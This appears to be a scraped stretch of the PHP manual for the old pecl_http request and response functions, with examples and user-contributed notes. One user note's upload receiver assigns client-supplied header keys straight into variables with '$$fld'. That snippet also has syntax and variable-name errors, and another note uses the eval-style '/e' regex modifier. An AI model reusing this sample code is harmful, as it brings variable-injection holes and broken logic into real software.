                    $tmp = array_merge($headers[$h[0]],array(trim($h[1])));
                    $headers[$h[0]] = $tmp;
                } else {
                    $tmp = array_merge(array($headers[$h[0]]),array(trim($h[1])));
                    $headers[$h[0]] = $tmp;
                }
            }
        }

        return $headers;
    }
}
g dot kuizinas at anuary dot com 27-Apr-2013 05:20
<?php

$headers = "HTTP/1.1 302 Found
Server: nginx
Date: Sat, 27 Apr 2013 08:07:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 976
Connection: keep-alive
X-Frame-Options: sameorigin
X-Runtime: 443
Status: 302
Cache-Control: max-age=86400
Expires: Sun, 28 Apr 2013 08:07:56 GMT
Vary: Accept-Encoding,User-Agent
Strict-Transport-Security: max-age=3600 ; includeSubDomains";

if (!function_exists('http_parse_headers')) {
    function http_parse_headers ($raw_headers) {
        $headers = [];

        foreach (explode("\n", $raw_headers) as $i => $h) {
            $h = explode(':', $h, 2);

            if (isset($h[1])) {
                $headers[$h[0]] = trim($h[1]);
            }
        }

        return $headers;
    }
}

var_dump(http_parse_headers($headers));
?>

array(12) {
  ["Server"]=>
  string(5) "nginx"
  ["Date"]=>
  string(29) "Sat, 27 Apr 2013 08:07:57 GMT"
  ["Content-Type"]=>
  string(24) "text/html; charset=utf-8"
  ["Content-Length"]=>
  string(3) "976"
  ["Connection"]=>
  string(10) "keep-alive"
  ["X-Frame-Options"]=>
  string(10) "sameorigin"
  ["X-Runtime"]=>
  string(3) "443"
  ["Status"]=>
  string(3) "302"
  ["Cache-Control"]=>
  string(13) "max-age=86400"
  ["Expires"]=>
  string(29) "Sun, 28 Apr 2013 08:07:56 GMT"
  ["Vary"]=>
  string(26) "Accept-Encoding,User-Agent"
  ["Strict-Transport-Security"]=>
  string(32) "max-age=3600 ; includeSubDomains"
}
Anonymous 29-Jan-2013 07:23
This one works even better:

<?php

    function http_parse_headers( $header )
    {
        $retVal = array();
        $fields = explode("\r\n", preg_replace('/\x0D\x0A[\x09\x20]+/', ' ', $header));
        foreach( $fields as $field ) {
            if( preg_match('/([^:]+): (.+)/m', $field, $match) ) {
                $match[1] = preg_replace('/(?<=^|[\x09\x20\x2D])./e', 'strtoupper("\0")', strtolower(trim($match[1])));
                if( isset($retVal[$match[1]]) ) {
                    if (!is_array($retVal[$match[1]])) {
                        $retVal[$match[1]] = array($retVal[$match[1]]);
                    }
                    $retVal[$match[1]][] = $match[2];
                } else {
                    $retVal[$match[1]] = trim($match[2]);
                }
            }
        }
        return $retVal;
    }

?>
luigi dot sexpistols at gmail dot com 08-Aug-2006 07:49
If you don't have access to the PECL library, you can use this code to parse headers contained in strings.

Note that it's probably not as robust as the PECL version, as it only parses if the headers are separated by newlines (\n). This isn't a problem in most cases, though, as the standard suggests to use \r\n as the delimiter for headers.

HTTP response code is put into 'status'.

Any suggestions welcome!

<?
function http_parse_headers($headers=false){
    if($headers === false){
        return false;
        }
    $headers = str_replace("\r","",$headers);
    $headers = explode("\n",$headers);
    foreach($headers as $value){
        $header = explode(": ",$value);
        if($header[0] && !$header[1]){
            $headerdata['status'] = $header[0];
            }
        elseif($header[0] && $header[1]){
            $headerdata[$header[0]] = $header[1];
            }
        }
    return $headerdata;
    }

$headers = "HTTP/1.1 200 OK\r\n
Date: Tue, 08 Aug 2006 05:32:01 GMT\r\n
X-Powered-By: PHP/4.4.3-dev\r\n
Data 1: Value for Data 1\r\n
Data 2: Value for Data 2\r\n
Connection: close\r\n
Content-Type: text/html\r\n";

http_parse_headers($headers);

// OUTPUT:

array(7) {
  ["status"]=>
  string(15) "HTTP/1.1 200 OK"
  ["Date"]=>
  string(29) "Tue, 08 Aug 2006 05:32:01 GMT"
  ["X-Powered-By"]=>
  string(13) "PHP/4.4.3-dev"
  ["Data 1"]=>
  string(16) "Value for Data 1"
  ["Data 2"]=>
  string(16) "Value for Data 2"
  ["Connection"]=>
  string(5) "close"
  ["Content-Type"]=>
  string(9) "text/html"
}
?>


Parse HTTP messages

  • « http_parse_headers
  • http_parse_params »
  • PHP Manual
  • HTTP Functions
  • Parse HTTP messages

http_parse_message

(PECL pecl_http >= 0.12.0)

http_parse_message — Parse HTTP messages

Description

object http_parse_message ( string $message )

Parses the HTTP message into a simple recursive object.

Parameters

message

string containing a single HTTP message or several consecutive HTTP messages

Return Values

Returns a hierarchical object structure of the parsed messages.

Examples

Example #1 Using http_parse_message()

<?php
define ('URL', 'http://www.example.com/');
print_r(http_parse_message(http_get(URL, array('redirect' => 3))));
?>

The above example will output something similar to:

stdClass object
(
  [type] => 2
  [httpVersion] => 1.1
  [responseCode] => 200
  [headers] => Array
  (
    [Content-Length] => 3
    [Server] => Apache
  )
  [body] => Hi!
  [parentMessage] => stdClass object
  (
    [type] => 2
    [httpVersion] => 1.1
    [responseCode] => 302
    [headers] => Array
    (
      [Content-Length] => 0
      [Location] => ...
    )
    [body] =>
    [parentMessage] => ...
  )
)

See Also

  • http_parse_headers() - Parse HTTP headers
  • the HttpMessage class

User Contributed Notes

There are no user contributed notes for this page.


Parse parameter list

  • « http_parse_message
  • http_persistent_handles_clean »
  • PHP Manual
  • HTTP Functions
  • Parse parameter list

http_parse_params

(PECL pecl_http >= 1.0.0)

http_parse_params — Parse parameter list

Description

object http_parse_params ( string $param [, int $flags = HTTP_PARAMS_DEFAULT ] )

Parse parameter list.

See the params parsing constants table for possible values of the flags argument.

Parameters

param

Parameters

flags

Parse flags

Return Values

Returns parameter list as stdClass object.

Examples

Example #1 A http_parse_params() example

<?php
var_dump(http_parse_params("text/html; charset=\"utf8\""));
?>

The above example will output:

object(stdClass)#1 (1) {
  ["params"]=>
  array(2) {
    [0]=>
    string(9) "text/html"
    [1]=>
    array(1) {
      ["charset"]=>
      string(4) "utf8"
    }
  }
}

See Also

  • http_parse_headers() - Parse HTTP headers
  • http_parse_cookie() - Parse HTTP cookie
  • http_parse_message() - Parse HTTP messages

User Contributed Notes

There are no user contributed notes for this page.


Clean up persistent handles

  • « http_parse_params
  • http_persistent_handles_count »
  • PHP Manual
  • HTTP Functions
  • Clean up persistent handles

http_persistent_handles_clean

(PECL pecl_http >= 1.5.0)

http_persistent_handles_clean — Clean up persistent handles

Description

string http_persistent_handles_clean ([ string $ident ] )

Clean up (close) persistent handles, optionally identified with ident.

Parameters

clean

the identification string

Return Values

No value is returned.

See Also

  • http_persistent_handles_ident() - Get/set ident of persistent handles
  • http_persistent_handles_count() - Stat persistent handles

User Contributed Notes

There are no user contributed notes for this page.


Stat persistent handles

  • « http_persistent_handles_clean
  • http_persistent_handles_ident »
  • PHP Manual
  • HTTP Functions
  • Stat persistent handles

http_persistent_handles_count

(PECL pecl_http >= 1.5.0)

http_persistent_handles_count — Stat persistent handles

Description

object http_persistent_handles_count ( void )

List statistics about persistent handles usage.

Parameters

Return Values

Returns persistent handles statistics as stdClass object on success or FALSE on failure.

Examples

Example #1 A http_persistent_handles_count() example

<?php
print_r(http_persistent_handles_count());
?>

The above example will output:

stdClass Object
(
    [http_request] => Array
        (
            [GLOBAL] => Array
                (
                    [used] => 0
                    [free] => 1
                )

        )

    [http_request_datashare] => Array
        (
            [GLOBAL] => Array
                (
                    [used] => 1
                    [free] => 0
                )

        )

    [http_request_pool] => Array
        (
        )

)

See Also

  • http_persistent_handles_ident() - Get/set ident of persistent handles
  • http_persistent_handles_clean() - Clean up persistent handles

User Contributed Notes

There are no user contributed notes for this page.


Get/set ident of persistent handles

  • « http_persistent_handles_count
  • http_get »
  • PHP Manual
  • HTTP Functions
  • Get/set ident of persistent handles

http_persistent_handles_ident

(PECL pecl_http >= 1.5.0)

http_persistent_handles_ident — Get/set ident of persistent handles

Description

string http_persistent_handles_ident ([ string $ident ] )

Query or define the ident of persistent handles.

Parameters

ident

the identification string

Return Values

Returns the prior ident as string on success or FALSE on failure.

Examples

Example #1 A http_persistent_handles_ident() example

<?php
echo http_persistent_handles_ident("CUSTOM"), "\n";
echo http_persistent_handles_ident("MyApp1"), "\n";
http_get("http://www.example.com/");
print_r(http_persistent_handles_count());
?>

The above example will output:

GLOBAL
CUSTOM
stdClass Object
(
[http_request] => Array
(
[MyApp1] => Array
(
[used] => 0
[free] => 1
)

)

[http_request_datashare] => Array
(
[GLOBAL] => Array
(
[used] => 1
[free] => 0
)

)

[http_request_pool] => Array
(
)

)

See Also

  • http_persistent_handles_count() - Stat persistent handles
  • http_persistent_handles_clean() - Clean up persistent handles

User Contributed Notes

There are no user contributed notes for this page.


Perform GET request

  • « http_persistent_handles_ident
  • http_head »
  • PHP Manual
  • HTTP Functions
  • Perform GET request

http_get

(PECL pecl_http >= 0.1.0)

http_get — Perform GET request

Description

string http_get ( string $url [, array $options [, array &$info ]] )

Performs an HTTP GET request on the supplied url.

See the full list of request options.

Parameters

url

URL

options

request options

info

Will be filled with request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

Examples

Example #1 A http_get() example

<?php
$response = http_get("http://www.example.com/", array("timeout"=>1), $info);
print_r($info);
?>

The above example will output:

array (
  'effective_url' => 'http://www.example.com/',
  'response_code' => 302,
  'connect_code' => 0,
  'filetime' => -1,
  'total_time' => 0.212348,
  'namelookup_time' => 0.038296,
  'connect_time' => 0.104144,
  'pretransfer_time' => 0.104307,
  'starttransfer_time' => 0.212077,
  'redirect_time' => 0,
  'redirect_count' => 0,
  'size_upload' => 0,
  'size_download' => 218,
  'speed_download' => 1026,
  'speed_upload' => 0,
  'header_size' => 307,
  'request_size' => 103,
  'ssl_verifyresult' => 0,
  'ssl_engines' =>
  array (
    0 => 'dynamic',
    1 => 'cswift',
    2 => 'chil',
    3 => 'atalla',
    4 => 'nuron',
    5 => 'ubsec',
    6 => 'aep',
    7 => 'sureware',
    8 => '4758cca',
  ),
  'content_length_download' => 218,
  'content_length_upload' => 0,
  'content_type' => 'text/html',
  'httpauth_avail' => 0,
  'proxyauth_avail' => 0,
  'num_connects' => 1,
  'os_errno' => 0,
  'error' => '',
)

User Contributed Notes

php at dav7 dot net 28-Mar-2008 12:23
[Moderators: This is not a bug report :P]

If you're using $data = http_get('http://...'); to get your message and you're getting weird numbers in it, PLEASE see tac at smokescreen dot org's message below!

Note that the body element http_parse_message returns is NOT the page's contents of the <body> tag! It's just the page content as seen by a browser, what wget would retrieve, what file_get_contents('http://...') would output, etc.

-dav7
tjerk dot meesters at muvee dot com 14-Dec-2006 05:16
To change the request protocol use the option "protocol". The allowed values are:
* HTTP_VERSION_NONE  (integer)

* HTTP_VERSION_1_0 (integer)

* HTTP_VERSION_1_1 (integer)
tac at smokescreen dot org 10-Nov-2006 03:41
The hard work of parsing out the response is done in http_parse_message().

To replace the relatively weak file_get_contents(), using

$body = http_parse_message(http_get($url))->body;

The advantages to using http_get include getting back headers and controlling timeouts.


Perform HEAD request

  • « http_get
  • http_post_data »
  • PHP Manual
  • HTTP Functions
  • Perform HEAD request

http_head

(PECL pecl_http >= 0.1.0)

http_head — Perform HEAD request

Description

string http_head ( string $url [, array $options [, array &$info ]] )

Performs an HTTP HEAD request on the supplied url.

See the full list of request options.

Parameters

url

URL

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Perform POST request with pre-encoded data

  • « http_head
  • http_post_fields »
  • PHP Manual
  • HTTP Functions
  • Perform POST request with pre-encoded data

http_post_data

(PECL pecl_http >= 0.1.0)

http_post_data — Perform POST request with pre-encoded data

Description

string http_post_data ( string $url , string $data [, array $options [, array &$info ]] )

Performs an HTTP POST request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

String containing the pre-encoded post data

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

yoder2 at purdue dot edu 17-May-2007 01:27
See the "superglobal" arrays $_POST['varname] and $_REQUEST['varname'] for how to access Post variables.

http://www.php.net/manual/en/language.variables.predefined.php
#language.variables.superglobals

(had to break the URL so I could post it.)


Perform POST request with data to be encoded

  • « http_post_data
  • http_put_data »
  • PHP Manual
  • HTTP Functions
  • Perform POST request with data to be encoded

http_post_fields

(PECL pecl_http >= 0.10.0)

http_post_fields — Perform POST request with data to be encoded

Description

string http_post_fields ( string $url , array $data [, array $files [, array $options [, array &$info ]]] )

Performs an HTTP POST request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

Associative array of POST values

files

Array of files to post

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

Examples

Example #1 A http_post_fields() example

<?php
$fields = array(
    'name' => 'mike',
    'pass' => 'se_ret'
);
$files = array(
    array(
        'name' => 'uimg',
        'type' => 'image/jpeg',
        'file' => './profile.jpg',
    )
);

$response = http_post_fields("http://www.example.com/", $fields, $files);
?>

User Contributed Notes

dionmagnus at yandex dot ru 19-Feb-2010 01:11
Hear is an axmaple how to arrays as POST varibles:
<?php

  $response = http_post_fields('http://example.com/page.php',
                                array('val[0]'=>'val1', 'val[1]'=>'val2'));

  echo "\$response: $response\n";

?>
ya at kirilloid dot ru 02-Mar-2008 04:59
comment to wormholio's answer:
if you use regular expression, then use it fully:
"/HTTP\/\d\.\d 302 Found/"
Some servers still can use HTTP 1.0
wormholio at gmail dot com 29-Jan-2008 04:32
To use POST to submit a form to a site which requires a cookie for authentication you put the cookie in the $options array.  Example:

<?php

$auth="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

$form_url="http://pirates.spy-hill.net/forum_reply.php?thread=663";

$message  = "RoboCodeDwarf now has the gold. \n\n";
$message .= "RoboCodeDwarf sez: [quote] " . `fortune -s` . "[/quote]\n";

$form_fields = array(
                     'content' => $message,
                     'add_signature' => 'add_it',
                     'submit' => 'Post reply'  );
$form_files=array();
$form_options=array( 'cookies' => array( 'auth' => $auth ) );

$response = http_post_fields($form_url, $form_fields, $form_files, $form_options );

$n = preg_match("/HTTP\/1.1 302 Found/", $response, $matches);
if($n<1) echo "FAILED\n";
 else    echo "POSTED\n";

?>
thomasxholder at compuserve dot de 07-Jan-2007 12:21
It was hard to figure out how to actually post files with this function. The "Array of files to post" is an array of associative arrays, each need the keys "name", "type" and "file". Consider this example code:

<?php
$files = array(
    array(
        'name' => 'somename',
        'type' => 'text/plain',
        'file' => $filename
    )
);
$http_response = http_post_fields($url, $data, $files);
?>


Perform PUT request with data

  • « http_post_fields
  • http_put_file »
  • PHP Manual
  • HTTP Functions
  • Perform PUT request with data

http_put_data

(PECL pecl_http >= 0.25.0)

http_put_data — Perform PUT request with data

Description

string http_put_data ( string $url , string $data [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

PUT request body

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Perform PUT request with file

  • « http_put_data
  • http_put_stream »
  • PHP Manual
  • HTTP Functions
  • Perform PUT request with file

http_put_file

(PECL pecl_http >= 0.10.0)

http_put_file — Perform PUT request with file

Description

string http_put_file ( string $url , string $file [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

file

The file to put

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

D&#39;n Russler d_n att CatchMedia dott com 30-Aug-2010 01:13
After much frustration and very little documentation that I could find, I thought I'd offer this example of implementation of http_put_file with custom HTTP headers, and the corresponding ReceiveFile.php.

I do an http put with a customized header containing parameters for file processing.

<?php
      $header = array(
                  'file_size'   => $file_size
                , 'file_name'   => $file_name
                , 'md5sum'      => $md5sum
              );

      $URI = 'http://MyDomain.com/ReceiveFile.php';

      if (($f = @fopen($URI,'r'))) {
        fclose($f);
        if ($result = @http_put_file($URI, $file_path, array(
                    headers => array(
                           'X_CUSTOM_PUT_JSON'  => json_encode($header)
                          ,'X_FRUIT'     => 'bananna'
                        )
                  , useragent => 'Magic UnitTests'
                 )
                , $info))) {
          echo str_replace("\n",'<BR>',$result);
        }
        else
           echo 'http failure';
     }
     else
        echo "Can't find URI: [$URI]";
?>

ReceiveFile.php has:
<?php
      $CUSTOM_HEADER = 'HTTP_X_CUSTOM_PUT_JSON';
      $CHUNK = 8192;

      try {
        if (!($putData = fopen("php://input", "r")))
          throw new Exception ("Can't get PUT data.");

        if (!(array_key_exists($CUSTOM_HEADER, $_SERVER)))
          throw new Exception ("Custom header missing.")

        $json = json_decode($_SERVER[$CUSTOM_HEADER], true);
        $this->logParams(__FUNCTION__, $json);
        foreach ($json as $fld => $val)
          $$fld = $val;

    // now the params can be used like any other variable
    // see below after input has finished

        $tot_write = 0;

      // Create a temp file
        if (!($tmpFileName = tempnam("/tmp", "PUT_FILE_")))
          throw new Exception ("Can't create tmp file.");

      // Open the file for writing
        if (!($fp = fopen($tmpFileName, "w")))
          throw new Exception ("Can't write to tmp file");

      // Read the data a chunk at a time and write to the file
        while ($data = fread($putData, $CHUNK)) {
          $chunk_read = strlen($data);
          if (($block_write = fwrite($fp, $data)) != $chunk_read)
            throw new Exception ("Can't write more to tmp file");

          $tot_write += $block_write;
        }

        if ( ! fclose($fp) )
          throw new Exception ("Can't close tmp file");

        unset($putData);

  // Check file length and MD5
        if ($tot_write != $file_size)
          throw new Exception ("Wrong file size");

        $md5_arr = explode(' ',exec("md5sum $tmpFileName"));
        $md5 = $md5sum_arr[0];
        if ($md5 != $md5sum)
          throw new Exception ("Wrong md5");
?>


Perform PUT request with stream

  • « http_put_file
  • http_request_body_encode »
  • PHP Manual
  • HTTP Functions
  • Perform PUT request with stream

http_put_stream

(PECL pecl_http >= 0.10.0)

http_put_stream — Perform PUT request with stream

Description

string http_put_stream ( string $url , resource $stream [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

stream

The stream to read the PUT request body from

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Encode request body

  • « http_put_stream
  • http_request_method_exists »
  • PHP Manual
  • HTTP Functions
  • Encode request body

http_request_body_encode

(PECL pecl_http >= 1.0.0)

http_request_body_encode — Encode request body

Description

string http_request_body_encode ( array $fields , array $files )

Generate x-www-form-urlencoded resp. form-data encoded request body.

Parameters

fields

POST fields

files

POST files

Return Values

Returns encoded string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Check whether request method exists

  • « http_request_body_encode
  • http_request_method_name »
  • PHP Manual
  • HTTP Functions
  • Check whether request method exists

http_request_method_exists

(PECL pecl_http >= 0.10.0)

http_request_method_exists — Check whether request method exists

Description

int http_request_method_exists ( mixed $method )

Check if a request method is registered (or available by default).

Parameters

method

request method name or ID

Return Values

Returns TRUE if the request method is known, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Get request method name

  • « http_request_method_exists
  • http_request_method_register »
  • PHP Manual
  • HTTP Functions
  • Get request method name

http_request_method_name

(PECL pecl_http >= 0.10.0)

http_request_method_name — Get request method name

Description

string http_request_method_name ( int $method )

Get the literal string representation of a standard or registered request method.

Parameters

method

request method ID

Return Values

Returns the request method name as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Register request method

  • « http_request_method_name
  • http_request_method_unregister »
  • PHP Manual
  • HTTP Functions
  • Register request method

http_request_method_register

(PECL pecl_http >= 0.10.0)

http_request_method_register — Register request method

Description

int http_request_method_register ( string $method )

Register a custom request method.

Parameters

method

the request method name to register

Return Values

Returns the ID of the request method on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Unregister request method

  • « http_request_method_register
  • http_request »
  • PHP Manual
  • HTTP Functions
  • Unregister request method

http_request_method_unregister

(PECL pecl_http >= 0.10.0)

http_request_method_unregister — Unregister request method

Description

bool http_request_method_unregister ( mixed $method )

Unregister a previously registered custom request method.

Parameters

method

The request method name or ID

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Perform custom request

  • « http_request_method_unregister
  • http_redirect »
  • PHP Manual
  • HTTP Functions
  • Perform custom request

http_request

(PECL pecl_http >= 1.0.0)

http_request — Perform custom request

Description

string http_request ( int $method , string $url [, string $body [, array $options [, array &$info ]]] )

Performs a custom HTTP request on the supplied url.

See the full list of request options.

Parameters

method

Request method

url

URL

body

Request body

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

Dan 05-Jan-2012 08:28
You should specify the first argument (int $method) using one of the Predefined HTTP request method constants specified here:

http://www.php.net/manual/en/http.constants.php

For example:

<?php
http_request (HTTP_METH_PUT, 'www.example.com');
?>


Issue HTTP redirect

  • « http_request
  • http_send_content_disposition »
  • PHP Manual
  • HTTP Functions
  • Issue HTTP redirect

http_redirect

(PECL pecl_http >= 0.1.0)

http_redirect — Issue HTTP redirect

Description

bool http_redirect ([ string $url [, array $params [, bool $session = false [, int $status = 0 ]]]] )

Redirect to the given url.

The supplied url will be expanded with http_build_url(), the params array will be treated with http_build_str() and the session identification will be appended if session is true. The HTTP response code will be set according to status. You can use one of the redirect constants for convenience. Please see » RFC 2616 for which redirect response code to use in which situation. By default PHP will decide which response status fits best.

To be RFC compliant, "Redirecting to <a>URL</a>." will be displayed, if the client doesn't redirect immediately, and the request method was another one than HEAD.

A log entry will be written to the redirect log, if the INI setting http.log.redirect is set and the redirect attempt was successful.

Parameters

url

the URL to redirect to

params

associative array of query parameters

session

whether to append session information

status

custom response status code

Return Values

Returns FALSE or exits on success with the specified redirection status code. See the INI setting http.force_exit for what "exits" means.

Examples

Example #1 A http_redirect() example

<?php
http_redirect("relpath", array("name" => "value"), true, HTTP_REDIRECT_PERM);
?>

The above example will output:

HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/5.2.2
Content-Type: text/html
Location: http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc

Redirecting to <a href="http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc">http://www.example.com/curdir/relpath?name=value&PHPSESSID=abc</a>.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send Content-Disposition

  • « http_redirect
  • http_send_content_type »
  • PHP Manual
  • HTTP Functions
  • Send Content-Disposition

http_send_content_disposition

(PECL pecl_http >= 0.10.0)

http_send_content_disposition — Send Content-Disposition

Description

bool http_send_content_disposition ( string $filename [, bool $inline = false ] )

Send the Content-Disposition. The Content-Disposition header is very useful if the data actually being sent came from a file or something similar, that should be "saved" by the client/user (i.e. by the browser's "Save as..." popup window).

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

filename

the file name the "Save as..." dialog should display

inline

if set to TRUE and the user agent knows how to handle the content type, it will probably not cause the popup window to be shown

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send Content-Type

  • « http_send_content_disposition
  • http_send_data »
  • PHP Manual
  • HTTP Functions
  • Send Content-Type

http_send_content_type

(PECL pecl_http >= 0.10.0)

http_send_content_type — Send Content-Type

Description

bool http_send_content_type ([ string $content_type = "application/x-octetstream" ] )

Send the Content-Type of the sent entity.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

content_type

the desired content type (primary/secondary)

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Raises an E_WARNING when the content_type doesn't seem to contain a primary and a secondary part.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send arbitrary data

  • « http_send_content_type
  • http_send_file »
  • PHP Manual
  • HTTP Functions
  • Send arbitrary data

http_send_data

(PECL pecl_http >= 0.1.0)

http_send_data — Send arbitrary data

Description

bool http_send_data ( string $data )

Sends raw data with support for (multiple) range requests.

Parameters

data

data to send

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send file

  • « http_send_data
  • http_send_last_modified »
  • PHP Manual
  • HTTP Functions
  • Send file

http_send_file

(PECL pecl_http >= 0.1.0)

http_send_file — Send file

Description

bool http_send_file ( string $file )

Sends a file with support for (multiple) range requests.

This functions behaviour and further action is dependent on the following INI settings: http.send.not_found_404 and http.log.not_found.

If the INI setting http.send.not_found_404 is enabled and the INI setting http.log.not_found points to a writable file, a log message is written when the file was not found.

Parameters

file

the file to send

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A http_send_file() example

<?php
http_send_content_disposition("document.pdf", true);
http_send_content_type("application/pdf");
http_throttle(0.1, 2048);
http_send_file("../report.pdf");
?>

The above example will output:

HTTP/1.1 206 Partial Content
X-Powered-By: PHP/5.2.2
Accept-Ranges: bytes
Content-Length: 12345
Content-Range: bytes 0-12344
Content-Type: application/pdf
Content-Disposition: inline; filename="document.pdf"

%PDF...

See Also

  • http_send_data() - Send arbitrary data
  • http_send_stream() - Send stream
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

razzbee 19-Dec-2013 05:20
<?php
http_send_content_disposition("document.pdf", true);
http_send_content_type("application/pdf");
http_throttle(0.1, 2048);
http_send_file("../report.pdf");
?>

None of the function above works with pecl_http 2.3 , I kept on getting Fatal error: Call to undefined function http_send_content_disposition() in xxxxxxx , I dont know ,but maybe its a bug in php 5.4 with centos 6.4  , The solution was just simple, I removed pecl_http 2.3 and installed  Pecl_http package to 1.7.6 using the command below :
pecl remove pecl_http
pecl install http://pecl.php.net/get/pecl_http-1.7.6.tgz
Pieter 07-Jan-2013 09:57
This function does not work together nicely with output buffering (ob_start etc.). If you get memory allocation errors, it probably means that you have got output buffering turned on and you should turn off output buffering.


Send Last-Modified

  • « http_send_file
  • http_send_status »
  • PHP Manual
  • HTTP Functions
  • Send Last-Modified

http_send_last_modified

(PECL pecl_http >= 0.1.0)

http_send_last_modified — Send Last-Modified

Description

bool http_send_last_modified ([ int $timestamp = time() ] )

Send a Last-Modified header with a valid HTTP date.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Parameters

timestamp

a Unix timestamp, converted to a valid HTTP date; if omitted, the current time will be sent

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send HTTP response status

  • « http_send_last_modified
  • http_send_stream »
  • PHP Manual
  • HTTP Functions
  • Send HTTP response status

http_send_status

(PECL pecl_http >= 0.1.0)

http_send_status — Send HTTP response status

Description

bool http_send_status ( int $status )

Send HTTP status code.

Parameters

status

HTTP status code (100-599)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


Send stream

  • « http_send_status
  • http_throttle »
  • PHP Manual
  • HTTP Functions
  • Send stream

http_send_stream

(PECL pecl_http >= 0.1.0)

http_send_stream — Send stream

Description

bool http_send_stream ( resource $stream )

Sends an already opened stream with support for (multiple) range requests.

Parameters

stream

stream to read from (must be seekable)

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_throttle() - HTTP throttling
  • http_send_content_type() - Send Content-Type
  • http_send_content_disposition() - Send Content-Disposition
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

There are no user contributed notes for this page.


HTTP throttling

  • « http_send_stream
  • http_build_str »
  • PHP Manual
  • HTTP Functions
  • HTTP throttling

http_throttle

(PECL pecl_http >= 0.10.0)

http_throttle — HTTP throttling

Description

void http_throttle ( float $sec [, int $bytes = 40960 ] )

Sets the throttle delay and send buffer size.

Note: This function should be used in conjunction with http_send_data(), http_send_file() and http_send_stream().

Note: Provides a basic throttling mechanism, which will yield the current process or thread until the entity has been completely sent.

Note:

This may not work as expected with the following SAPI(s): FastCGI.

Parameters

sec

seconds to sleep after each chunk sent

bytes

the chunk size in bytes

Examples

Example #1 A http_throttle() example

Send file with approximately 20 kbyte/s.

<?php
// ~ 20 kbyte/s
# http_throttle(1, 20000);
# http_throttle(0.5, 10000);
http_throttle(0.1, 2000);
http_send_file('document.pdf');
?>

See Also

  • http_send_data() - Send arbitrary data
  • http_send_file() - Send file
  • http_send_stream() - Send stream
  • the HttpResponse class if you are using PHP 5.1.0 and above

User Contributed Notes

dr dot sane at gmail dot com 19-Mar-2011 10:24
Note that in the example when it says "Send file with approximately 20 kbyte/s." that is only an upper bound. The file could still be sent at a lesser speed (e.g. 10 kb/s) if the client, network, or server, cannot handle the amount.


Build query string

  • « http_throttle
  • http_build_url »
  • PHP Manual
  • HTTP Functions
  • Build query string

http_build_str

(PECL pecl_http >= 0.23.0)

http_build_str — Build query string

Description

string http_build_str ( array $query [, string $prefix [, string $arg_separator = ini_get("arg_separator.output") ]] )

Builds a query string from an array of query variables. In effect, this function is the opposite of parse_str().

Parameters

query

associative array of query string parameters

prefix

top level prefix

arg_separator

argument separator to use (by default the INI setting arg_separator.output will be used, or "&" if neither is set

Return Values

Returns the built query as string on success or FALSE on failure.

See Also

  • standard http_build_query() - Generate URL-encoded query string
  • http_build_url() - Build a URL

User Contributed Notes

g dot kuizinas at anuary dot com 12-Feb-2013 10:51
